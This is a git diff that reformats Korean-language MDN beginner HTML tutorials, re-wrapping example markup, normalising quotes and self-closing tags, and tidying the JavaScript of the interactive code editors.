     <!-- Here is our page's main content -->
     <main>
-
       <!-- It contains an article -->
       <article>
         <h2>Article heading</h2>
 
-        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt congue enim, ut porta lorem lacinia consectetur.</p>
+        <p>
+          Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam
+          lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam
+          viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent
+          et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt
+          congue enim, ut porta lorem lacinia consectetur.
+        </p>
 
         <h3>subsection</h3>
 
-        <p>Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem. Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.</p>
+        <p>
+          Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum
+          dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem.
+          Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.
+        </p>
 
-        <p>Pelientesque auctor nisi id magna consequat sagittis. Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.</p>
+        <p>
+          Pelientesque auctor nisi id magna consequat sagittis. Curabitur
+          dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet.
+          Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.
+        </p>
 
         <h3>Another subsection</h3>
 
-        <p>Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum soclis natoque penatibus et manis dis parturient montes, nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem facilisis semper ac in est.</p>
-
-        <p>Vivamus fermentum semper porta. Nunc diam velit, adipscing ut tristique vitae sagittis vel odio. Maecenas convallis ullamcorper ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi diam iaculis velit, is fringille sem nunc vet mi.</p>
+        <p>
+          Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum
+          soclis natoque penatibus et manis dis parturient montes, nascetur
+          ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem
+          facilisis semper ac in est.
+        </p>
+
+        <p>
+          Vivamus fermentum semper porta. Nunc diam velit, adipscing ut
+          tristique vitae sagittis vel odio. Maecenas convallis ullamcorper
+          ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi
+          diam iaculis velit, is fringille sem nunc vet mi.
+        </p>
       </article>
 
       <!-- the aside content can also be nested within the main content -->
@@ -149,7 +175,6 @@ HTML 코드에서 기능에 따라 콘텐츠 섹션을 마크업할 수 있습
           <li><a href="#">Oh well...</a></li>
         </ul>
       </aside>
-
     </main>
 
     <!-- And here is our main footer that is used across all the pages of our website -->
@@ -157,7 +182,6 @@ HTML 코드에서 기능에 따라 콘텐츠 섹션을 마크업할 수 있습
     <footer>
       <p>©Copyright 2050 by nobody. All rights reversed.</p>
     </footer>
-
   </body>
 </html>
 ```
@@ -183,9 +207,14 @@ HTML 코드에서 기능에 따라 콘텐츠 섹션을 마크업할 수 있습
 {{HTMLElement("span")}} 엘리먼트는 내용을 감싸는 더 나은 의미 체계 텍스트 요소가 생각나지 않거나 특정 의미를 추가하고 싶지 않은 경우에만 사용해야 하는 인라인 비의미적 요소입니다. For example:
 
 ```html
-<p>The King walked drunkenly back to his room at 01:00, the beer doing nothing to aid
-him as he staggered through the door <span class="editor-note">[Editor's note: At this point in the
-play, the lights should be down low]</span>.</p>
+<p>
+  The King walked drunkenly back to his room at 01:00, the beer doing nothing to
+  aid him as he staggered through the door
+  <span class="editor-note"
+    >[Editor's note: At this point in the play, the lights should be down
+    low]</span
+  >.
+</p>
 ```
 
 In this case, the editor's note is supposed to merely provide extra direction for the director of the play; it is not supposed to have extra semantic meaning. For sighted users, CSS would perhaps be used to distance the note slightly from the main text.
@@ -197,12 +226,13 @@ In this case, the editor's note is supposed to merely provide extra direction fo
   <h2>Shopping cart</h2>
   <ul>
     <li>
-      <p><a href=""><strong>Silver earrings</strong></a>: $99.95.</p>
-      <img src="../products/3333-0985/thumb.png" alt="Silver earrings">
-    </li>
-    <li>
-      ...
+      <p>
+        <a href=""><strong>Silver earrings</strong></a
+        >: $99.95.
+      </p>
+      <img src="../products/3333-0985/thumb.png" alt="Silver earrings" />
     </li>
+    <li>...</li>
   </ul>
   <p>Total cost: $237.89</p>
 </div>
@@ -221,10 +251,12 @@ In this case, the editor's note is supposed to merely provide extra direction fo
 `<br>` 단락에 줄 바꿈을 만듭니다. 우편 주소나 시와 같이 일련의 고정된 짧은 줄을 원하는 상황에서 단단한 구조를 강제하는 유일한 방법입니다. For example:
 
 ```html
-<p>There once was a girl called Nell<br>
-Who loved to write HTML<br>
-But her structure was bad, her semantics were sad<br>
-and her markup didn't read very well.</p>
+<p>
+  There once was a girl called Nell<br />
+  Who loved to write HTML<br />
+  But her structure was bad, her semantics were sad<br />
+  and her markup didn't read very well.
+</p>
 ```
 
 `<br>` elements, the paragraph would just be rendered in one long line (as we said earlier in the course, [HTML ignores most whitespace](/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Whitespace_in_HTML)); with them in the code, the markup renders like this:
diff --git a/files/ko/learn/html/introduction_to_html/getting_started/index.md b/files/ko/learn/html/introduction_to_html/getting_started/index.md
index 08f8ffe8bf2dd6..0845fe0002d874 100644
--- a/files/ko/learn/html/introduction_to_html/getting_started/index.md
+++ b/files/ko/learn/html/introduction_to_html/getting_started/index.md
@@ -2,6 +2,7 @@
 title: HTML 시작하기
 slug: Learn/HTML/Introduction_to_HTML/Getting_started
 ---
+
 {{LearnSidebar}}{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}
 
 이 문서는 HTML 의 기본적인 내용에 대한 글입니다. 이 글에서는 HTML 에 관련된 용어들(Element, Attribute ..)의 정의에 대해 설명할 것입니다. 또한 HTML이 무엇으로 이루어져 있는지(구성요소), 어떻게 구성되어 있는지(구조), 중요한 특징은 무엇인지에 대해 설명할 것입니다. 독자의 흥미를 위해 간단한 HTML 을 작성하는 과정도 포함되어 있습니다.
@@ -66,11 +67,12 @@ Input 영역 아래의 줄을 `<em>` 과 `</em>` 태그를 이용해서 감싸 
 
 ```html hidden
 <h2>Live output</h2>
-<div class="output" style="min-height: 50px;">
-</div>
+<div class="output" style="min-height: 50px;"></div>
 
 <h2>Editable code</h2>
-<p class="a11y-label">코드 영역에서 포커스를 이동하려면 Esc키를 누르십시오 (Tab키로 탭 문자를 삽입).</p>
+<p class="a11y-label">
+  코드 영역에서 포커스를 이동하려면 Esc키를 누르십시오 (Tab키로 탭 문자를 삽입).
+</p>
 
 <textarea id="code" class="input" style="min-height: 100px; width: 95%">
   This is my text.
@@ -84,7 +86,7 @@ Input 영역 아래의 줄을 `<em>` 과 `</em>` 태그를 이용해서 감싸 
 
 ```css hidden
 html {
-  font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
+  font-family: "Open Sans Light", Helvetica, Arial, sans-serif;
 }
 
 h2 {
@@ -105,10 +107,10 @@ body {
 ```
 
 ```js hidden
-var textarea = document.getElementById('code');
-var reset = document.getElementById('reset');
-var solution = document.getElementById('solution');
-var output = document.querySelector('.output');
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var solution = document.getElementById("solution");
+var output = document.querySelector(".output");
 var code = textarea.value;
 var userEntry = textarea.value;
 
@@ -116,38 +118,38 @@ function updateCode() {
   output.innerHTML = textarea.value;
 }
 
-reset.addEventListener('click', function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   userEntry = textarea.value;
   solutionEntry = htmlSolution;
-  solution.value = 'Show solution';
+  solution.value = "Show solution";
   updateCode();
 });
 
-solution.addEventListener('click', function() {
-  if(solution.value === 'Show solution') {
+solution.addEventListener("click", function () {
+  if (solution.value === "Show solution") {
     textarea.value = solutionEntry;
-    solution.value = 'Hide solution';
+    solution.value = "Hide solution";
   } else {
     textarea.value = userEntry;
-    solution.value = 'Show solution';
+    solution.value = "Show solution";
   }
   updateCode();
 });
 
-var htmlSolution = '<em>This is my text.</em>';
+var htmlSolution = "<em>This is my text.</em>";
 var solutionEntry = htmlSolution;
 
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
+textarea.addEventListener("input", updateCode);
+window.addEventListener("load", updateCode);
 
 // stop tab key tabbing out of textarea and
 // make it write a tab at the caret position instead
 
-textarea.onkeydown = function(e){
+textarea.onkeydown = function (e) {
   if (e.keyCode === 9) {
     e.preventDefault();
-    insertAtCaret('\t');
+    insertAtCaret("\t");
   }
 
   if (e.keyCode === 27) {
@@ -159,8 +161,11 @@ function insertAtCaret(text) {
   var scrollPos = textarea.scrollTop;
   var caretPos = textarea.selectionStart;
 
-  var front = (textarea.value).substring(0, caretPos);
-  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  var front = textarea.value.substring(0, caretPos);
+  var back = textarea.value.substring(
+    textarea.selectionEnd,
+    textarea.value.length,
+  );
   textarea.value = front + text + back;
   caretPos = caretPos + text.length;
   textarea.selectionStart = caretPos;
@@ -171,10 +176,10 @@ function insertAtCaret(text) {
 
 // Update the saved userCode every time the user updates the text area code
 
-textarea.onkeyup = function(){
+textarea.onkeyup = function () {
   // We only want to save the state when the user code is being shown,
   // not the solution, so that solution is not saved over the user code
-  if(solution.value === 'Show solution') {
+  if (solution.value === "Show solution") {
     userEntry = textarea.value;
   } else {
     solutionEntry = textarea.value;
@@ -212,9 +217,13 @@ HTML에는 두가지 종류의 요소(Element) 가 있습니다. 블록 레벨 
 다음 예시를 봅시다:
 
 ```html
-<em>first</em><em>second</em><em>third</em>
+<em>first</em>
+<em>second</em>
+<em>third</em>
 
-<p>fourth</p><p>fifth</p><p>sixth</p>
+<p>fourth</p>
+<p>fifth</p>
+<p>sixth</p>
 ```
 
 {{htmlelement("em")}} 은 인라인 요소(inline element) 이므로, 밑에서 보실 수 있듯이, 처음 세 개의 요소는 서로 같은 줄에, 사이에 공백이 없이 위치합니다. 한편, {{htmlelement("p")}} 는 블록 레벨 요소이므로, 각 요소들은 새로운 줄에 나타나며, 위와 아래에 여백이 있습니다 (여백은 브라우저가 문단에 적용하는 기본 [CSS styling](/ko/docs/Learn/CSS/Introduction_to_CSS) 때문에 적용됩니다).
@@ -232,7 +241,8 @@ HTML에는 두가지 종류의 요소(Element) 가 있습니다. 블록 레벨 
 모든 요소가 위에 언급된 여는 태그, 내용, 닫는 태그 패턴을 따르는 것은 아닙니다. 주로 문서에 무언가를 첨부하기 위해 단일 태그(Single tag)를 사용하는 요소도 있습니다. 예를 들어 {{htmlelement("img")}} 요소는 해당 위치에 이미지를 삽입하기 위한 요소입니다:
 
 ```html
-<img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png">
+<img
+  src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png" />
 ```
 
 위에 대한 결과는 다음과 같이 나올 것입니다:
@@ -245,7 +255,7 @@ HTML에는 두가지 종류의 요소(Element) 가 있습니다. 블록 레벨 
 
 요소는 아래 이미지와 같이 속성을 가질 수 있습니다:
 
-![&amp;lt;p class="editor-note">My cat is very grumpy&amp;lt;/p>](grumpy-cat-attribute-small.png)
+![My cat is very grumpy](grumpy-cat-attribute-small.png)
 
 속성은 요소에 실제론 나타내고 싶지 않지만 추가적인 내용을 담고 싶을 때 사용합니다. 위에는 나중에 스타일에 관련된 내용이나 기타 내용을 위해 해당 목표를 구분할 수 있는 `class` 속성을 부여했습니다.
 
@@ -273,19 +283,20 @@ HTML에는 두가지 종류의 요소(Element) 가 있습니다. 블록 레벨 
 ```html hidden
 <h2>Live output</h2>
 
-<div class="output" style="min-height: 50px;">
-</div>
+<div class="output" style="min-height: 50px;"></div>
 
 <h2>Editable code</h2>
-<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p>
+<p class="a11y-label">
+  Press Esc to move focus away from the code area (Tab inserts a tab character).
+</p>
 
 <textarea id="code" class="input" style="min-height: 100px;width: 95%">
   &lt;p&gt;A link to my favorite website.&lt;/p&gt;
 </textarea>
 
 <div class="playable-buttons">
-  <input id="reset" type="button" value="Reset">
-  <input id="solution" type="button" value="Show solution">
+  <input id="reset" type="button" value="Reset" />
+  <input id="solution" type="button" value="Show solution" />
 </div>
 ```
 
@@ -312,10 +323,10 @@ body {
 ```
 
 ```js hidden
-var textarea = document.getElementById('code');
-var reset = document.getElementById('reset');
-var solution = document.getElementById('solution');
-var output = document.querySelector('.output');
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var solution = document.getElementById("solution");
+var output = document.querySelector(".output");
 var code = textarea.value;
 var userEntry = textarea.value;
 
@@ -323,38 +334,39 @@ function updateCode() {
   output.innerHTML = textarea.value;
 }
 
-reset.addEventListener('click', function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   userEntry = textarea.value;
   solutionEntry = htmlSolution;
-  solution.value = 'Show solution';
+  solution.value = "Show solution";
   updateCode();
 });
 
-solution.addEventListener('click', function() {
-  if(solution.value === 'Show solution') {
+solution.addEventListener("click", function () {
+  if (solution.value === "Show solution") {
     textarea.value = solutionEntry;
-    solution.value = 'Hide solution';
+    solution.value = "Hide solution";
   } else {
     textarea.value = userEntry;
-    solution.value = 'Show solution';
+    solution.value = "Show solution";
   }
   updateCode();
 });
 
-var htmlSolution = '<p>A link to my <a href="https://www.mozilla.org/" title="The Mozilla homepage" target="_blank">favorite website</a>.</p>';
+var htmlSolution =
+  '<p>A link to my <a href="https://www.mozilla.org/" title="The Mozilla homepage" target="_blank">favorite website</a>.</p>';
 var solutionEntry = htmlSolution;
 
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
+textarea.addEventListener("input", updateCode);
+window.addEventListener("load", updateCode);
 
 // stop tab key tabbing out of textarea and
 // make it write a tab at the caret position instead
 
-textarea.onkeydown = function(e){
+textarea.onkeydown = function (e) {
   if (e.keyCode === 9) {
     e.preventDefault();
-    insertAtCaret('\t');
+    insertAtCaret("\t");
   }
 
   if (e.keyCode === 27) {
@@ -366,8 +378,11 @@ function insertAtCaret(text) {
   var scrollPos = textarea.scrollTop;
   var caretPos = textarea.selectionStart;
 
-  var front = (textarea.value).substring(0, caretPos);
-  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  var front = textarea.value.substring(0, caretPos);
+  var back = textarea.value.substring(
+    textarea.selectionEnd,
+    textarea.value.length,
+  );
   textarea.value = front + text + back;
   caretPos = caretPos + text.length;
   textarea.selectionStart = caretPos;
@@ -378,10 +393,10 @@ function insertAtCaret(text) {
 
 // Update the saved userCode every time the user updates the text area code
 
-textarea.onkeyup = function(){
+textarea.onkeyup = function () {
   // We only want to save the state when the user code is being shown,
   // not the solution, so that solution is not saved over the user code
-  if(solution.value === 'Show solution') {
+  if (solution.value === "Show solution") {
     userEntry = textarea.value;
   } else {
     solutionEntry = textarea.value;
@@ -404,9 +419,9 @@ textarea.onkeyup = function(){
 이것은 다음과 같이 줄여쓸 수 있습니다. (당신이 참고할 수 있도록 비활성화를 하지 않은 형태도 포함했습니다.)
 
 ```html
-<input type="text" disabled>
+<input type="text" disabled />
 
-<input type="text">
+<input type="text" />
 ```
 
 이 둘은 다음과 같은 결과를 보여줍니다.
@@ -440,7 +455,7 @@ textarea.onkeyup = function(){
 ```html
 <a href="http://www.example.com">A link to my example.</a>
 
-<a href='http://www.example.com'>A link to my example.</a>
+<a href="http://www.example.com">A link to my example.</a>
 ```
 
 주의해야할 점은 두 개를 섞어 쓰면 안된다는 것입니다. 다음은 잘못 사용한 예입니다.
@@ -452,7 +467,9 @@ textarea.onkeyup = function(){
 만약 한 가지 따옴표를 사용했다면 다른 따옴표로 속성값을 둘러싸서 오류를 방지할 수 있습니다.
 
 ```html
-<a href="http://www.example.com" title="Isn't this fun?">A link to my example.</a>
+<a href="http://www.example.com" title="Isn't this fun?"
+  >A link to my example.</a
+>
 ```
 
 하지만 만약 당신이 따옴표 안에 같은 따옴표를 사용하고 싶다면(작은 따옴표든 큰 따옴표든) 따옴표를 표시하기 위해서 [HTML entities](/ko/docs/Learn/HTML/Introduction_to_HTML/Getting_started#Entity_references_Including_special_characters_in_HTML)를 사용하세요. 예를 들어 이렇게 하면 잘못됩니다.
@@ -472,10 +489,10 @@ textarea.onkeyup = function(){
 That wraps up the basics of individual HTML elements, but they aren't very useful on their own. 이제 어떻게 개별 요소를 결합해 전체 HTML 페이지를 구성하는지에 대해 살펴봅시다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>My test page</title>
   </head>
   <body>
@@ -488,12 +505,11 @@ That wraps up the basics of individual HTML elements, but they aren't very usefu
 
 1. `<!DOCTYPE html>`: 문서 형식을 나타냅니다. HTML 초창기에 (1991\~2년) doctype은 HTML 페이지가 자동 오류 검사나 다른 유용한 것이 가능한 좋은 HTML을 의미하는 연결고리처럼 작동하는 것을 뜻했습니다. 이런 형식으로 사용했습니다.
 
-    ```html
-    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-    ```
+   ```html
+   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+   ```
 
-    하지만 요즘에는 아무도 신경쓰지 않으며, 그저 모든 것이 제대로 작동하기 위해 포함되어야 하는 역사적 유물일 뿐입니다. `<!DOCTYPE html>` 은 유효한 문서 형식을 나타내는 짧은 문장이고, 이 것만 알고 있으면 됩니다.
+   하지만 요즘에는 아무도 신경쓰지 않으며, 그저 모든 것이 제대로 작동하기 위해 포함되어야 하는 역사적 유물일 뿐입니다. `<!DOCTYPE html>` 은 유효한 문서 형식을 나타내는 짧은 문장이고, 이 것만 알고 있으면 됩니다.
 
 2. `<html></html>`: {{htmlelement("html")}} 요소입니다. 이 요소는 전체 페이지의 콘텐츠를 포함하며, 기본 요소로도 알려져 있습니다.
 3. `<head></head>`: `<head>` 요소입니다. 이 요소는 홈페이지 이용자에게는 보이지 않지만 검색 결과에 노출 될 키워드, 홈페이지 설명, CSS 스타일, character setdeclaration 등 HTML 페이지의 모든 내용을 담고 있습니다. 자세한 내용은 다음 장에서 다룹니다.
@@ -530,7 +546,10 @@ That wraps up the basics of individual HTML elements, but they aren't very usefu
 <div class="output" style="min-height: 50px"></div>
 
 <h2>Editable code</h2>
-<p class="a11y-label">코드 영역에서 포커스를 이동하려면 Esc 키를 누르십시오 (탭은 탭 문자를 삽입합니다).</p>
+<p class="a11y-label">
+  코드 영역에서 포커스를 이동하려면 Esc 키를 누르십시오 (탭은 탭 문자를
+  삽입합니다).
+</p>
 
 <textarea id="code" class="input" style="min-height: 100px; width: 95%">
   &lt;p&gt;This is my page&lt;/p&gt;
@@ -548,7 +567,7 @@ html {
 }
 
 h1 {
- color: blue;
+  color: blue;
 }
 
 h2 {
@@ -573,10 +592,10 @@ body {
 ```
 
 ```js hidden
-var textarea = document.getElementById('code');
-var reset = document.getElementById('reset');
-var solution = document.getElementById('solution');
-var output = document.querySelector('.output');
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var solution = document.getElementById("solution");
+var output = document.querySelector(".output");
 var code = textarea.value;
 var userEntry = textarea.value;
 
@@ -584,38 +603,39 @@ function updateCode() {
   output.innerHTML = textarea.value;
 }
 
-reset.addEventListener('click', function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   userEntry = textarea.value;
   solutionEntry = htmlSolution;
-  solution.value = 'Show solution';
+  solution.value = "Show solution";
   updateCode();
 });
 
-solution.addEventListener('click', function() {
-  if(solution.value === 'Show solution') {
+solution.addEventListener("click", function () {
+  if (solution.value === "Show solution") {
     textarea.value = solutionEntry;
-    solution.value = 'Hide solution';
+    solution.value = "Hide solution";
   } else {
     textarea.value = userEntry;
-    solution.value = 'Show solution';
+    solution.value = "Show solution";
   }
   updateCode();
 });
 
-var htmlSolution = '<h1>Some music</h1><p>I really enjoy <strong>playing the drums</strong>. One of my favorite drummers is Neal Peart, who\ plays in the band <a href="https://en.wikipedia.org/wiki/Rush_%28band%29" title="Rush Wikipedia article">Rush</a>.\ My favourite Rush album is currently <a href="http://www.deezer.com/album/942295">Moving Pictures</a>.</p>\ <img src="http://www.cygnus-x1.net/links/rush/images/albums/sectors/sector2-movingpictures-cover-s.jpg">';
+var htmlSolution =
+  '<h1>Some music</h1><p>I really enjoy <strong>playing the drums</strong>. One of my favorite drummers is Neal Peart, who plays in the band <a href="https://en.wikipedia.org/wiki/Rush_%28band%29" title="Rush Wikipedia article">Rush</a>. My favourite Rush album is currently <a href="http://www.deezer.com/album/942295">Moving Pictures</a>.</p> <img src="http://www.cygnus-x1.net/links/rush/images/albums/sectors/sector2-movingpictures-cover-s.jpg">';
 var solutionEntry = htmlSolution;
 
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
+textarea.addEventListener("input", updateCode);
+window.addEventListener("load", updateCode);
 
 // stop tab key tabbing out of textarea and
 // make it write a tab at the caret position instead
 
-textarea.onkeydown = function(e){
+textarea.onkeydown = function (e) {
   if (e.keyCode === 9) {
     e.preventDefault();
-    insertAtCaret('\t');
+    insertAtCaret("\t");
   }
 
   if (e.keyCode === 27) {
@@ -627,8 +647,11 @@ function insertAtCaret(text) {
   var scrollPos = textarea.scrollTop;
   var caretPos = textarea.selectionStart;
 
-  var front = (textarea.value).substring(0, caretPos);
-  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  var front = textarea.value.substring(0, caretPos);
+  var back = textarea.value.substring(
+    textarea.selectionEnd,
+    textarea.value.length,
+  );
   textarea.value = front + text + back;
   caretPos = caretPos + text.length;
   textarea.selectionStart = caretPos;
@@ -639,10 +662,10 @@ function insertAtCaret(text) {
 
 // Update the saved userCode every time the user updates the text area code
 
-textarea.onkeyup = function(){
+textarea.onkeyup = function () {
   // We only want to save the state when the user code is being shown,
   // not the solution, so that solution is not saved over the user code
-  if(solution.value === 'Show solution') {
+  if (solution.value === "Show solution") {
     userEntry = textarea.value;
   } else {
     solutionEntry = textarea.value;
@@ -658,7 +681,7 @@ textarea.onkeyup = function(){
 
 위의 예에서 많은 공백이 코드에 포함되어 있음을 알 수 있습니다. 이것은 선택 사항입니다. 이 두 코드 스니펫은 동일합니다.
 
-```html
+```html-nolint
 <p>Dogs are silly.</p>
 
 <p>Dogs        are
@@ -687,7 +710,7 @@ HTML에서 문자 `<`,`>`, `"`및 `&`는 특수 문자입니다. 이들은 HTML
 
 아래 예시는 두 개의 단락이 있습니다.
 
-```html
+```html-nolint
 <p>In HTML, you define a paragraph using the <p> element.</p>
 
 <p>In HTML, you define a paragraph using the &lt;p&gt; element.</p>
diff --git a/files/ko/learn/html/introduction_to_html/html_text_fundamentals/index.md b/files/ko/learn/html/introduction_to_html/html_text_fundamentals/index.md
index 0d2b82e4f2cd55..93c4eb98144b64 100644
--- a/files/ko/learn/html/introduction_to_html/html_text_fundamentals/index.md
+++ b/files/ko/learn/html/introduction_to_html/html_text_fundamentals/index.md
@@ -61,15 +61,22 @@ heading 요소는 총 6개가 있습니다— {{htmlelement("h1")}}, {{htmleleme
 
 <h2>Chapter 1: The dark night</h2>
 
-<p>It was a dark night. Somewhere, an owl hooted. The rain lashed down on the ...</p>
+<p>
+  It was a dark night. Somewhere, an owl hooted. The rain lashed down on the ...
+</p>
 
 <h2>Chapter 2: The eternal silence</h2>
 
-<p>Our protagonist could not so much as a whisper out of the shadowy figure ...</p>
+<p>
+  Our protagonist could not so much as a whisper out of the shadowy figure ...
+</p>
 
 <h3>The specter speaks</h3>
 
-<p>Several more hours had passed, when all of a sudden the specter sat bolt upright and exclaimed, "Please have mercy on my soul!"</p>
+<p>
+  Several more hours had passed, when all of a sudden the specter sat bolt
+  upright and exclaimed, "Please have mercy on my soul!"
+</p>
 ```
 
 구조화된 계층이 타당해 보이는 한 연관된 요소들이 정확히 무엇을 나타내는지는 당신에게 달려있습니다. 다만 그러한 구조들을 만들 때 다음 몇 가지의 관례만 기억하면 됩니다:
@@ -103,11 +110,13 @@ heading 요소는 총 6개가 있습니다— {{htmlelement("h1")}}, {{htmleleme
 
 ```html hidden
 <h2>Input</h2>
-<textarea id="code" class="input">My short story
+<textarea id="code" class="input">
+My short story
 
 I am a policewoman and my name is Trish.
 
-My legs are made of cardboard and I am married to a fish.</textarea>
+My legs are made of cardboard and I am married to a fish.</textarea
+>
 <h2>Output</h2>
 <div class="output"></div>
 <div class="controls">
@@ -118,10 +127,11 @@ My legs are made of cardboard and I am married to a fish.</textarea>
 
 ```css hidden
 body {
-  font-family: 'Open Sans Light', Helvetica, Arial, sans-serif;
+  font-family: "Open Sans Light", Helvetica, Arial, sans-serif;
 }
 
-.input, .output {
+.input,
+.output {
   width: 90%;
   height: 8em;
   padding: 10px;
@@ -145,13 +155,14 @@ function drawOutput() {
   output.innerHTML = textarea.value;
 }
 
-reset.addEventListener("click", function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   drawOutput();
 });
 
-solution.addEventListener("click", function() {
-textarea.value = '<h1>My short story</h1>\n<p>I am a policewoman and my name is Trish.</p>\n<p>My legs are made of cardboard and I am married to a fish.</p>';
+solution.addEventListener("click", function () {
+  textarea.value =
+    "<h1>My short story</h1>\n<p>I am a policewoman and my name is Trish.</p>\n<p>My legs are made of cardboard and I am married to a fish.</p>";
   drawOutput();
 });
 
@@ -176,7 +187,9 @@ Semantic(직역 : 의미를 담은, 의미론적인)은 우리 주변 어디에
 반면에, 당신은 어떤 요소도 최상위 heading처럼 _보이게_ 할 수 있습니다. 다음을 고려해 봅시다:
 
 ```html
-<span style="font-size: 32px; margin: 21px 0;">Is this a top level heading?</span>
+<span style="font-size: 32px; margin: 21px 0;"
+  >Is this a top level heading?</span
+>
 ```
 
 이것은 {{htmlelement("span")}} 요소입니다. 의미가 없죠. 당신은 컨텐츠에 추가적인 의미를 더하지 않고 CSS 를 적용하고 싶을 때 (혹은 JavaScript를 적용해 무언가를 하고 싶을 때) 이것을 사용합니다. (이것들에 대해서는 코스 뒤에서 더 알게 될겁니다.) 우리는 이것에 CSS를 더해 최상위 heading처럼 보이게 했지만, 이것이 semantic(의미론적인) 가치는 없기 때문에, 위에서 서술된 추가적인 이득들은 얻지 못할 것입니다. 작업에 관계있는 HTML 요소를 사용하는 것이 좋은 생각입니다.
@@ -202,12 +215,12 @@ hummus
 
 모든 리스트 아이템:
 
-```html
+```html-nolint
 <ul>
-milk
-eggs
-bread
-hummus
+  milk
+  eggs
+  bread
+  hummus
 </ul>
 ```
 
@@ -228,10 +241,12 @@ HTML 순서 없는(unordered) 리스트를 만들기 위해 아래에 있는 샘
 
 ```html hidden
 <h2>Input</h2>
-<textarea id="code" class="input">milk
+<textarea id="code" class="input">
+milk
 eggs
 bread
-hummus</textarea>
+hummus</textarea
+>
 <h2>Output</h2>
 <div class="output"></div>
 <div class="controls">
@@ -242,10 +257,11 @@ hummus</textarea>
 
 ```css hidden
 body {
-  font-family: 'Open Sans Light', Helvetica, Arial, sans-serif;
+  font-family: "Open Sans Light", Helvetica, Arial, sans-serif;
 }
 
-.input, .output {
+.input,
+.output {
   width: 90%;
   height: 6em;
   padding: 10px;
@@ -269,13 +285,14 @@ function drawOutput() {
   output.innerHTML = textarea.value;
 }
 
-reset.addEventListener("click", function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   drawOutput();
 });
 
-solution.addEventListener("click", function() {
-textarea.value = '<ul>\n<li>milk</li>\n<li>eggs</li>\n<li>bread</li>\n<li>hummus</li>\n</ul>';
+solution.addEventListener("click", function () {
+  textarea.value =
+    "<ul>\n<li>milk</li>\n<li>eggs</li>\n<li>bread</li>\n<li>hummus</li>\n</ul>";
   drawOutput();
 });
 
@@ -317,11 +334,13 @@ HTML 순서가 있는(ordered) 리스트를 만들기 위해 아래에 있는 
 
 ```html hidden
 <h2>Input</h2>
-<textarea id="code" class="input">Drive to the end of the road
+<textarea id="code" class="input">
+Drive to the end of the road
 Turn right
 Go straight across the first two roundabouts
 Turn left at the third roundabout
-The school is on your right, 300 meters up the road</textarea>
+The school is on your right, 300 meters up the road</textarea
+>
 <h2>Output</h2>
 <div class="output"></div>
 <div class="controls">
@@ -332,10 +351,11 @@ The school is on your right, 300 meters up the road</textarea>
 
 ```css hidden
 body {
-  font-family: 'Open Sans Light', Helvetica, Arial, sans-serif;
+  font-family: "Open Sans Light", Helvetica, Arial, sans-serif;
 }
 
-.input, .output {
+.input,
+.output {
   width: 90%;
   height: 8em;
   padding: 10px;
@@ -359,13 +379,14 @@ function drawOutput() {
   output.innerHTML = textarea.value;
 }
 
-reset.addEventListener("click", function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   drawOutput();
 });
 
-solution.addEventListener("click", function() {
-textarea.value = '<ol>\n<li>Drive to the end of the road</li>\n<li>Turn right</li>\n<li>Go straight across the first two roundabouts</li>\n<li>Turn left at the third roundabout</li>\n<li>The school is on your right, 300 meters up the road</li>\n</ol>';
+solution.addEventListener("click", function () {
+  textarea.value =
